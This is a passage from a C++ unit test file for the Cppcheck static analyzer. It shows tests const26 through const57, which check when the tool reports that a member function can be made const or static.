A{\\n\"\n \"public:\\n\"\n \"A(){m_strVec.push_back(\\\"\\\");}\\n\"\n \"bool strGetEmpty()\\n\"\n \"{return m_strVec.empty();}\\n\"\n \"private:\\n\"\n \"std::vector m_strVec;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: (style, inconclusive) Technically the member function 'A::strGetEmpty' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const26() { // ticket #1847\n checkConst(\"class DelayBase {\\n\"\n \"public:\\n\"\n \"void swapSpecificDelays(int index1, int index2) {\\n\"\n \" std::swap(delays_[index1], delays_[index2]);\\n\"\n \"}\\n\"\n \"float delays_[4];\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct DelayBase {\\n\"\n \" float swapSpecificDelays(int index1) {\\n\"\n \" return delays_[index1];\\n\"\n \" }\\n\"\n \" float delays_[4];\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style, inconclusive) Technically the member function 'DelayBase::swapSpecificDelays' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const27() { // ticket #1882\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){m_d=1.0; m_iRealVal=2.0;}\\n\"\n \" double dGetValue();\\n\"\n \"private:\\n\"\n \" double m_d;\\n\"\n \" double m_iRealVal;\\n\"\n \"};\\n\"\n \"double A::dGetValue() {\\n\"\n \" double dRet = m_iRealVal;\\n\"\n \" if( m_d != 0 )\\n\"\n \" return m_iRealVal / m_d;\\n\"\n \" return dRet;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:12] -> [test.cpp:9:12]: (style, inconclusive) Technically the member function 'A::dGetValue' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const28() { // ticket #1883\n checkConst(\"class P {\\n\"\n \"public:\\n\"\n \" P() { x=0.0; y=0.0; }\\n\"\n \" double x,y;\\n\"\n \"};\\n\"\n \"class A : public P {\\n\"\n \"public:\\n\"\n \" A():P(){}\\n\"\n \" void SetPos(double xPos, double yPos) {\\n\"\n \" x=xPos;\\n\"\n \" y=yPos;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class AA : public P {\\n\"\n \"public:\\n\"\n \" AA():P(){}\\n\"\n \" inline void vSetXPos(int x_)\\n\"\n \" {\\n\"\n \" UnknownScope::x = x_;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class AA {\\n\"\n \"public:\\n\"\n \" AA():P(){}\\n\"\n \" inline void vSetXPos(int x_)\\n\"\n \" {\\n\"\n \" UnknownScope::x = x_;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:17]: (performance, inconclusive) Technically the member function 'AA::vSetXPos' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n }\n\n void const29() { // ticket #1922\n checkConst(\"class test {\\n\"\n \" public:\\n\"\n \" test();\\n\"\n \" const char* get() const;\\n\"\n \" char* get();\\n\"\n \" private:\\n\"\n \" char* value_;\\n\"\n \"};\\n\"\n \"test::test()\\n\"\n \"{\\n\"\n \" value_ = 0;\\n\"\n \"}\\n\"\n \"const char* test::get() const\\n\"\n \"{\\n\"\n \" return value_;\\n\"\n \"}\\n\"\n \"char* test::get()\\n\"\n \"{\\n\"\n \" return value_;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const30() {\n // check for false negatives\n checkConst(\"class Base {\\n\"\n \"public:\\n\"\n \" int a;\\n\"\n \"};\\n\"\n \"class Derived : public Base {\\n\"\n \"public:\\n\"\n \" int get() {\\n\"\n \" return a;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:7:9]: (style, inconclusive) Technically the member function 'Derived::get' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Base1 {\\n\"\n \"public:\\n\"\n \" int a;\\n\"\n \"};\\n\"\n \"class Base2 {\\n\"\n \"public:\\n\"\n \" int b;\\n\"\n \"};\\n\"\n \"class Derived : public Base1, public Base2 {\\n\"\n \"public:\\n\"\n \" int getA() {\\n\"\n \" return a;\\n\"\n \" }\\n\"\n \" int getB() {\\n\"\n \" return b;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:11:9]: (style, inconclusive) Technically the member function 'Derived::getA' can be const. [functionConst]\\n\"\n \"[test.cpp:14:9]: (style, inconclusive) Technically the member function 'Derived::getB' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Base {\\n\"\n \"public:\\n\"\n \" int a;\\n\"\n \"};\\n\"\n \"class Derived1 : public Base { };\\n\"\n \"class Derived2 : public Derived1 {\\n\"\n \"public:\\n\"\n \" int get() {\\n\"\n \" return a;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:8:9]: (style, inconclusive) Technically the member function 'Derived2::get' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Base {\\n\"\n \"public:\\n\"\n \" int a;\\n\"\n \"};\\n\"\n \"class Derived1 : public Base { };\\n\"\n \"class Derived2 : public Derived1 { };\\n\"\n \"class Derived3 : public Derived2 { };\\n\"\n \"class Derived4 : public Derived3 {\\n\"\n \"public:\\n\"\n \" int get() {\\n\"\n \" return a;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:10:9]: (style, inconclusive) Technically the member function 'Derived4::get' can be const. [functionConst]\\n\", errout_str());\n\n // check for false positives\n checkConst(\"class Base {\\n\"\n \"public:\\n\"\n \" int a;\\n\"\n \"};\\n\"\n \"class Derived : public Base {\\n\"\n \"public:\\n\"\n \" int get() const {\\n\"\n \" return a;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Base1 {\\n\"\n \"public:\\n\"\n \" int a;\\n\"\n \"};\\n\"\n \"class Base2 {\\n\"\n \"public:\\n\"\n \" int b;\\n\"\n \"};\\n\"\n \"class Derived : public Base1, public Base2 {\\n\"\n \"public:\\n\"\n \" int getA() const {\\n\"\n \" return a;\\n\"\n \" }\\n\"\n \" int getB() const {\\n\"\n \" return b;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Base {\\n\"\n \"public:\\n\"\n \" int a;\\n\"\n \"};\\n\"\n \"class Derived1 : public Base { };\\n\"\n \"class Derived2 : public Derived1 {\\n\"\n \"public:\\n\"\n \" int get() const {\\n\"\n \" return a;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Base {\\n\"\n \"public:\\n\"\n \" int a;\\n\"\n \"};\\n\"\n \"class Derived1 : public Base { };\\n\"\n \"class Derived2 : public Derived1 { };\\n\"\n \"class Derived3 : public Derived2 { };\\n\"\n \"class Derived4 : public Derived3 {\\n\"\n \"public:\\n\"\n \" int get() const {\\n\"\n \" return a;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const31() {\n checkConst(\"namespace std { }\\n\"\n \"class Fred {\\n\"\n \"public:\\n\"\n \" int a;\\n\"\n \" int get() { return a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (style, inconclusive) Technically the member function 'Fred::get' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const32() {\n checkConst(\"class Fred {\\n\"\n \"public:\\n\"\n \" std::string a[10];\\n\"\n \" void seta() { a[0] = \\\"\\\"; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const33() {\n checkConst(\"class derived : public base {\\n\"\n \"public:\\n\"\n \" void f(){}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Either there is a missing 'override', or the member function 'derived::f' can be static. [functionStatic]\\n\", errout_str());\n }\n\n void const34() { // ticket #1964\n checkConst(\"class Bar {\\n\"\n \" void init(Foo * foo) {\\n\"\n \" foo.bar = this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const35() { // ticket #2001\n checkConst(\"namespace N\\n\"\n \"{\\n\"\n \" class Base\\n\"\n \" {\\n\"\n \" };\\n\"\n \"}\\n\"\n \"namespace N\\n\"\n \"{\\n\"\n \" class Derived : public Base\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" int getResourceName() { return var; }\\n\"\n \" int var;\\n\"\n \" };\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:12:21]: (style, inconclusive) Technically the member function 'N::Derived::getResourceName' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"namespace N\\n\"\n \"{\\n\"\n \" class Base\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" int getResourceName();\\n\"\n \" int var;\\n\"\n \" };\\n\"\n \"}\\n\"\n \"int N::Base::getResourceName() { return var; }\");\n ASSERT_EQUALS(\"[test.cpp:6:21] -> [test.cpp:10:14]: (style, inconclusive) Technically the member function 'N::Base::getResourceName' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"namespace N\\n\"\n \"{\\n\"\n \" class Base\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" int getResourceName();\\n\"\n \" int var;\\n\"\n \" };\\n\"\n \"}\\n\"\n \"namespace N\\n\"\n \"{\\n\"\n \" int Base::getResourceName() { return var; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:21] -> [test.cpp:12:19]: (style, inconclusive) Technically the member function 'N::Base::getResourceName' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"namespace N\\n\"\n \"{\\n\"\n \" class Base\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" int getResourceName();\\n\"\n \" int var;\\n\"\n \" };\\n\"\n \"}\\n\"\n \"using namespace N;\\n\"\n \"int Base::getResourceName() { return var; }\");\n ASSERT_EQUALS(\"[test.cpp:6:21] -> [test.cpp:11:11]: (style, inconclusive) Technically the member function 'N::Base::getResourceName' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const36() { // ticket #2003\n checkConst(\"class Foo {\\n\"\n \"public:\\n\"\n \" Blue::Utility::Size m_MaxQueueSize;\\n\"\n \" void SetMaxQueueSize(Blue::Utility::Size a_MaxQueueSize)\\n\"\n \" {\\n\"\n \" m_MaxQueueSize = a_MaxQueueSize;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const37() { // ticket #2081 and #2085\n checkConst(\"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A(){};\\n\"\n \" std::string operator+(const char *c)\\n\"\n \" {\\n\"\n \" return m_str+std::string(c);\\n\"\n \" }\\n\"\n \"private:\\n\"\n \" std::string m_str;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:17]: (style, inconclusive) Technically the member function 'A::operator+' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Fred\\n\"\n \"{\\n\"\n \"private:\\n\"\n \" long x;\\n\"\n \"public:\\n\"\n \" Fred() {\\n\"\n \" x = 0;\\n\"\n \" }\\n\"\n \" bool isValid() {\\n\"\n \" return (x == 0x11224488);\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:9:10]: (style, inconclusive) Technically the member function 'Fred::isValid' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const38() { // ticket #2135\n checkConst(\"class Foo {\\n\"\n \"public:\\n\"\n \" ~Foo() { delete oArq; }\\n\"\n \" Foo(): oArq(new std::ofstream(\\\"...\\\")) {}\\n\"\n \" void MyMethod();\\n\"\n \"private:\\n\"\n \" std::ofstream *oArq;\\n\"\n \"};\\n\"\n \"void Foo::MyMethod()\\n\"\n \"{\\n\"\n \" (*oArq) << \\\"\\\";\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const39() {\n checkConst(\"class Foo\\n\"\n \"{\\n\"\n \" int * p;\\n\"\n \"public:\\n\"\n \" Foo () : p(0) { }\\n\"\n \" int * f();\\n\"\n \" const int * f() const;\\n\"\n \"};\\n\"\n \"const int * Foo::f() const\\n\"\n \"{\\n\"\n \" return p;\\n\"\n \"}\\n\"\n \"int * Foo::f()\\n\"\n \"{\\n\"\n \" return p;\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const40() { // ticket #2228\n checkConst(\"class SharedPtrHolder\\n\"\n \"{\\n\"\n \" private:\\n\"\n \" std::tr1::shared_ptr pView;\\n\"\n \" public:\\n\"\n \" SharedPtrHolder()\\n\"\n \" { }\\n\"\n \" void SetView(const std::shared_ptr & aView)\\n\"\n \" {\\n\"\n \" pView = aView;\\n\"\n \" }\\n\"\n \"};\");\n\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const41() { // ticket #2255\n checkConst(\"class Fred\\n\"\n \"{\\n\"\n \" ::std::string m_name;\\n\"\n \"public:\\n\"\n \" void SetName(const ::std::string & name)\\n\"\n \" {\\n\"\n \" m_name = name;\\n\"\n \" }\\n\"\n \"};\");\n\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class SharedPtrHolder\\n\"\n \"{\\n\"\n \" ::std::tr1::shared_ptr pNum;\\n\"\n \" public :\\n\"\n \" void SetNum(const ::std::tr1::shared_ptr & apNum)\\n\"\n \" {\\n\"\n \" pNum = apNum;\\n\"\n \" }\\n\"\n \"};\");\n\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class SharedPtrHolder2\\n\"\n \"{\\n\"\n \" public:\\n\"\n \" typedef ::std::tr1::shared_ptr IntSharedPtr;\\n\"\n \" private:\\n\"\n \" IntSharedPtr pNum;\\n\"\n \" public :\\n\"\n \" void SetNum(const IntSharedPtr & apNum)\\n\"\n \" {\\n\"\n \" pNum = apNum;\\n\"\n \" }\\n\"\n \"};\");\n\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct IntPtrTypes\\n\"\n \"{\\n\"\n \" typedef ::std::tr1::shared_ptr Shared;\\n\"\n \"};\\n\"\n \"class SharedPtrHolder3\\n\"\n \"{\\n\"\n \" private:\\n\"\n \" IntPtrTypes::Shared pNum;\\n\"\n \" public :\\n\"\n \" void SetNum(const IntPtrTypes::Shared & apNum)\\n\"\n \" {\\n\"\n \" pNum = apNum;\\n\"\n \" }\\n\"\n \"};\");\n\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"template \\n\"\n \"struct PtrTypes\\n\"\n \"{\\n\"\n \" typedef ::std::tr1::shared_ptr Shared;\\n\"\n \"};\\n\"\n \"class SharedPtrHolder4\\n\"\n \"{\\n\"\n \" private:\\n\"\n \" PtrTypes::Shared pNum;\\n\"\n \" public :\\n\"\n \" void SetNum(const PtrTypes::Shared & apNum)\\n\"\n \" {\\n\"\n \" pNum = apNum;\\n\"\n \" }\\n\"\n \"};\");\n\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const42() { // ticket #2282\n checkConst(\"class Fred\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" struct AB { };\\n\"\n \" bool f(AB * ab);\\n\"\n \"};\\n\"\n \"bool Fred::f(Fred::AB * ab)\\n\"\n \"{\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"[test.cpp:5:10] -> [test.cpp:7:12]: (performance, inconclusive) Technically the member function 'Fred::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"class Fred\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" struct AB {\\n\"\n \" struct CD { };\\n\"\n \" };\\n\"\n \" bool f(AB::CD * cd);\\n\"\n \"};\\n\"\n \"bool Fred::f(Fred::AB::CD * cd)\\n\"\n \"{\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"[test.cpp:7:10] -> [test.cpp:9:12]: (performance, inconclusive) Technically the member function 'Fred::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"namespace NS {\\n\"\n \" class Fred\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" struct AB {\\n\"\n \" struct CD { };\\n\"\n \" };\\n\"\n \" bool f(AB::CD * cd);\\n\"\n \" };\\n\"\n \" bool Fred::f(Fred::AB::CD * cd)\\n\"\n \" {\\n\"\n \" }\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"[test.cpp:8:14] -> [test.cpp:10:16]: (performance, inconclusive) Technically the member function 'NS::Fred::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"namespace NS {\\n\"\n \" class Fred\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" struct AB {\\n\"\n \" struct CD { };\\n\"\n \" };\\n\"\n \" bool f(AB::CD * cd);\\n\"\n \" };\\n\"\n \"}\\n\"\n \"bool NS::Fred::f(NS::Fred::AB::CD * cd)\\n\"\n \"{\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"[test.cpp:8:14] -> [test.cpp:11:16]: (performance, inconclusive) Technically the member function 'NS::Fred::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"class Foo {\\n\"\n \" class Fred\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" struct AB {\\n\"\n \" struct CD { };\\n\"\n \" };\\n\"\n \" bool f(AB::CD * cd);\\n\"\n \" };\\n\"\n \"};\\n\"\n \"bool Foo::Fred::f(Foo::Fred::AB::CD * cd)\\n\"\n \"{\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"[test.cpp:8:14] -> [test.cpp:11:17]: (performance, inconclusive) Technically the member function 'Foo::Fred::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n }\n\n void const43() { // ticket 2377\n checkConst(\"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" void foo( AA::BB::CC::DD b );\\n\"\n \" AA::BB::CC::DD a;\\n\"\n \"};\\n\"\n \"void A::foo( AA::BB::CC::DD b )\\n\"\n \"{\\n\"\n \" a = b;\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"namespace AA\\n\"\n \"{\\n\"\n \" namespace BB\\n\"\n \" {\\n\"\n \" namespace CC\\n\"\n \" {\\n\"\n \" struct DD\\n\"\n \" {};\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\"\n \"class A\\n\"\n \"{\\n\"\n \" public:\\n\"\n \"\\n\"\n \" AA::BB::CC::DD a;\\n\"\n \" void foo(AA::BB::CC::DD b)\\n\"\n \" {\\n\"\n \" a = b;\\n\"\n \" }\\n\"\n \"};\");\n\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"namespace ZZ\\n\"\n \"{\\n\"\n \" namespace YY\\n\"\n \" {\\n\"\n \" struct XX\\n\"\n \" {};\\n\"\n \" }\\n\"\n \"}\\n\"\n \"class B\\n\"\n \"{\\n\"\n \" public:\\n\"\n \" ZZ::YY::XX a;\\n\"\n \" void foo(ZZ::YY::XX b)\\n\"\n \" {\\n\"\n \" a = b;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const44() { // ticket 2595\n checkConst(\"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" bool bOn;\\n\"\n \" bool foo()\\n\"\n \" {\\n\"\n \" return 0 != (bOn = bOn);\\n\"\n \" }\\n\"\n \"};\");\n\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const45() { // ticket 2664\n checkConst(\"namespace wraps {\\n\"\n \" class BaseLayout {};\\n\"\n \"}\\n\"\n \"namespace tools {\\n\"\n \" class WorkspaceControl :\\n\"\n \" public wraps::BaseLayout\\n\"\n \" {\\n\"\n \" int toGrid(int _value)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" };\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"[test.cpp:8:13]: (performance, inconclusive) Technically the member function 'tools::WorkspaceControl::toGrid' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n }\n\n void const46() { // ticket 2663\n checkConst(\"class Altren {\\n\"\n \"public:\\n\"\n \" int fun1() {\\n\"\n \" int a;\\n\"\n \" a++;\\n\"\n \" }\\n\"\n \" int fun2() {\\n\"\n \" b++;\\n\"\n \" }\\n\"\n \"};\");\n\n ASSERT_EQUALS(\"[test.cpp:3:9]: (performance, inconclusive) Technically the member function 'Altren::fun1' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:7:9]: (performance, inconclusive) Technically the member function 'Altren::fun2' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n }\n\n void const47() { // ticket 2670\n checkConst(\"class Altren {\\n\"\n \"public:\\n\"\n \" void foo() { delete this; }\\n\"\n \" void foo(int i) const { }\\n\"\n \" void bar() { foo(); }\\n\"\n \"};\");\n\n ASSERT_EQUALS(\"[test.cpp:4:8]: (performance, inconclusive) Technically the member function 'Altren::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"class Altren {\\n\"\n \"public:\\n\"\n \" void foo() { delete this; }\\n\"\n \" void foo(int i) const { }\\n\"\n \" void bar() { foo(1); }\\n\"\n \"};\");\n\n ASSERT_EQUALS(\"[test.cpp:4:8]: (performance, inconclusive) Technically the member function 'Altren::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:5:8]: (style, inconclusive) Technically the member function 'Altren::bar' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const48() { // ticket 2672\n checkConst(\"class S0 {\\n\"\n \" class S1 {\\n\"\n \" class S2 {\\n\"\n \" class S3 {\\n\"\n \" class S4 { };\\n\"\n \" };\\n\"\n \" };\\n\"\n \" };\\n\"\n \"};\\n\"\n \"class TextIterator {\\n\"\n \" S0::S1::S2::S3::S4 mCurrent, mSave;\\n\"\n \"public:\\n\"\n \" bool setTagColour();\\n\"\n \"};\\n\"\n \"bool TextIterator::setTagColour() {\\n\"\n \" mSave = mCurrent;\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const49() { // ticket 2795\n checkConst(\"class A {\\n\"\n \" private:\\n\"\n \" std::map _hash;\\n\"\n \" public:\\n\"\n \" A() : _hash() {}\\n\"\n \" unsigned int fetch(unsigned int key)\\n\" // cannot be 'const'\n \" {\\n\"\n \" return _hash[key];\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const50() { // ticket 2943\n checkConst(\"class Altren\\n\"\n \"{\\n\"\n \" class SubClass : public std::vector\\n\"\n \" {\\n\"\n \" };\\n\"\n \"};\\n\"\n \"void _setAlign()\\n\"\n \"{\\n\"\n \" if (mTileSize.height > 0) return;\\n\"\n \" if (mEmptyView) return;\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const51() { // ticket 3040\n checkConst(\"class PSIPTable {\\n\"\n \"public:\\n\"\n \" PSIPTable() : _pesdata(0) { }\\n\"\n \" const unsigned char* pesdata() const { return _pesdata; }\\n\"\n \" unsigned char* pesdata() { return _pesdata; }\\n\"\n \" void SetSection(uint num) { pesdata()[6] = num; }\\n\"\n \"private:\\n\"\n \" unsigned char *_pesdata;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class PESPacket {\\n\"\n \"public:\\n\"\n \" PESPacket() : _pesdata(0) { }\\n\"\n \" const unsigned char* pesdata() const { return _pesdata; }\\n\"\n \" unsigned char* pesdata() { return _pesdata; }\\n\"\n \"private:\\n\"\n \" unsigned char *_pesdata;\\n\"\n \"};\\n\"\n \"class PSIPTable : public PESPacket\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" void SetSection(uint num) { pesdata()[6] = num; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const52() { // ticket 3048\n checkConst(\"class foo {\\n\"\n \" void DoSomething(int &a) const { a = 1; }\\n\"\n \" void DoSomethingElse() { DoSomething(bar); }\\n\"\n \"private:\\n\"\n \" int bar;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (performance, inconclusive) Technically the member function 'foo::DoSomething' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n }\n\n void const53() { // ticket 3049\n checkConst(\"class A {\\n\"\n \" public:\\n\"\n \" A() : foo(false) {};\\n\"\n \" virtual bool One(bool b = false) { foo = b; return false; }\\n\"\n \" private:\\n\"\n \" bool foo;\\n\"\n \"};\\n\"\n \"class B : public A {\\n\"\n \" public:\\n\"\n \" B() {};\\n\"\n \" bool One(bool b = false) { return false; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const54() { // ticket 3052\n checkConst(\"class Example {\\n\"\n \" public:\\n\"\n \" void Clear(void) { Example tmp; (*this) = tmp; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const55() {\n checkConst(\"class MyObject {\\n\"\n \" int tmp;\\n\"\n \" MyObject() : tmp(0) {}\\n\"\n \"public:\\n\"\n \" void set(std::stringstream &in) { in >> tmp; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const56() { // ticket #3149\n checkConst(\"class MyObject {\\n\"\n \"public:\\n\"\n \" void foo(int x) {\\n\"\n \" switch (x) { }\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'MyObject::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"class A\\n\"\n \"{\\n\"\n \" protected:\\n\"\n \" unsigned short f (unsigned short X);\\n\"\n \" public:\\n\"\n \" A ();\\n\"\n \"};\\n\"\n \"\\n\"\n \"unsigned short A::f (unsigned short X)\\n\"\n \"{\\n\"\n \" enum ERetValues {RET_NOK = 0, RET_OK = 1};\\n\"\n \" enum ETypes {FLOAT_TYPE = 1, INT_TYPE = 2};\\n\"\n \"\\n\"\n \" try\\n\"\n \" {\\n\"\n \" switch (X)\\n\"\n \" {\\n\"\n \" case FLOAT_TYPE:\\n\"\n \" {\\n\"\n \" return RET_OK;\\n\"\n \" }\\n\"\n \" case INT_TYPE:\\n\"\n \" {\\n\"\n \" return RET_OK;\\n\"\n \" }\\n\"\n \" default:\\n\"\n \" {\\n\"\n \" return RET_NOK;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" }\\n\"\n \" catch (...)\\n\"\n \" {\\n\"\n \" return RET_NOK;\\n\"\n \" }\\n\"\n \"\\n\"\n \" return RET_NOK;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:24] -> [test.cpp:9:19]: (performance, inconclusive) Technically the member function 'A::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"class MyObject {\\n\"\n \"public:\\n\"\n \" void foo(int x) {\\n\"\n \" for (int i = 0; i < 5; i++) { }\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'MyObject::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n }\n\n void const57() { // tickets #2669 and #2477\n checkConst(\"namespace MyGUI\\n\"\n \"{\\n\"\n \" namespace types\\n\"\n \" {\\n\"\n \" struct TSize {};\\n\"\n \" struct TCoord {\\n\"\n \" TSize size() const { }\\n\"\n \" };\\n\"\n \" }\\n\"\n \" typedef types::TSize IntSize;\\n\"\n \" typedef types::TCoord IntCoord;\\n\"\n \"}\\n\"\n \"class SelectorControl\\n\"\n \"{\\n\"\n \" MyGUI::IntSize getSize()\\n\"\n \" {\\n\"\n \" return mCoordValue.size();\\n\"\n \" }\\n\"\n \"private:\\n\"\n \" MyGUI::IntCoord mCoordValue;\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:7:13]: (performance, inconclusive) Technically the member function 'MyGUI::types::TCoord::size' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:15]: (style, inconclusive) Technically the member function 'SelectorControl::getSize' can be const.\\n\",\n \"[test.cpp:7:13]: (performance, inconclusive) Technically the member function 'MyGUI::types::TCoord::size' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"struct Foo {\\n\"\n \" Bar b;\\n\"\n \" void foo(Foo f) {\\n\"\n \" b.run();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct Bar {\\n\"\n \" int i = 0;\\n\"\n \" void run() { i++; }\\n\"\n \"};\\n\"\n \"struct Foo {\\n\"\n \" Bar b;\\n\"\n \" void foo(Foo f) {\\n\"\n \" b.run();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct Bar {\\n\"\n \" void run() const { }\\n\"\n \"};\\n\"\n \"struct Foo {\\n\"\n \" Bar b;\\n\"\n \" void foo(Foo f) {\\n\"\n \" b.run();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (performance, inconclusive) Technically the member function 'Bar::run' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:6:10]: (style, inconclusive) Technically the member function 'Foo::foo' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const58() {\n checkConst(\"struct MyObject {\\n\"\n \" void foo(Foo f) 